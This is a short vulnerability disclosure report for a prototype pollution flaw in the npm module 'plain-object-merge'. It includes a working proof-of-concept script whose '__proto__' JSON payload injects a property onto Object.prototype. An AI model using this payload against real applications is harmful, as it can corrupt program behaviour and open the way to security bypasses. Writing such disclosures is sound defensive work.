[plain-object-merge] Prototype pollution

I would like to report a `prototype pollution` vulnerability in `plain-object-merge` module. It allows an attacker to inject properties on Object.prototype.

const merge = require('plain-object-merge');
const payload =  JSON.parse('{"__proto__":{"polluted":"yes"}}');
const obj = {};
console.log("Before : " + obj.polluted);
merge([{}, payload]);
console.log("After : " + obj.polluted);